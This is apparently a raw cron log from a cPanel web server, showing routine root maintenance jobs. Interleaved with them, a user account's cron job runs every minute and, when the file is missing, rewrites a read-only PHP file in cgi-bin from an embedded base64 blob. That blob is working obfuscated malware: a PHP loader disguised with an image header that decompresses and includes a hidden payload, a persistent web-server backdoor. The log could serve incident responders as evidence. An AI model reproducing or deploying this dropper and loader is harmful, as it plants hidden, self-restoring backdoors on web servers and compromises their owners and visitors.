Aug 30 11:40:01 server CROND[7398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:41:01 server CROND[8226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:41:01 server CROND[8227]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:41:01 server CROND[8228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:42:01 server CROND[8604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:42:01 server CROND[8603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:42:01 server CROND[8605]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 11:42:01 server CROND[8606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:43:01 server CROND[8987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:43:01 server CROND[8988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:43:01 server CROND[8989]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:44:01 server CROND[9536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:44:01 server CROND[9537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:44:01 server CROND[9538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:45:01 server CROND[10300]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 11:45:01 server CROND[10302]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:45:01 server CROND[10305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:45:01 server CROND[10303]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:45:01 server CROND[10307]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 11:45:01 server CROND[10308]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:45:01 server CROND[10304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:46:01 server CROND[11130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:46:01 server CROND[11129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:46:01 server CROND[11131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:47:01 server CROND[11498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:47:01 server CROND[11499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:47:01 server CROND[11501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:48:01 server CROND[11893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:48:01 server CROND[11894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:48:01 server CROND[11895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:49:01 server CROND[12433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:49:01 server CROND[12434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:49:01 server CROND[12435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:50:01 server CROND[12968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:50:01 server CROND[12969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:50:01 server CROND[12970]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 11:50:01 server CROND[12971]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 11:50:01 server CROND[12972]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 11:50:01 server CROND[12973]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 11:50:01 server CROND[12974]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:50:01 server CROND[12976]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:50:01 server CROND[12975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:51:01 server CROND[13809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:51:01 server CROND[13810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:51:01 server CROND[13811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:52:01 server CROND[14190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:52:01 server CROND[14192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:52:01 server CROND[14191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:53:01 server CROND[14555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:53:01 server CROND[14556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
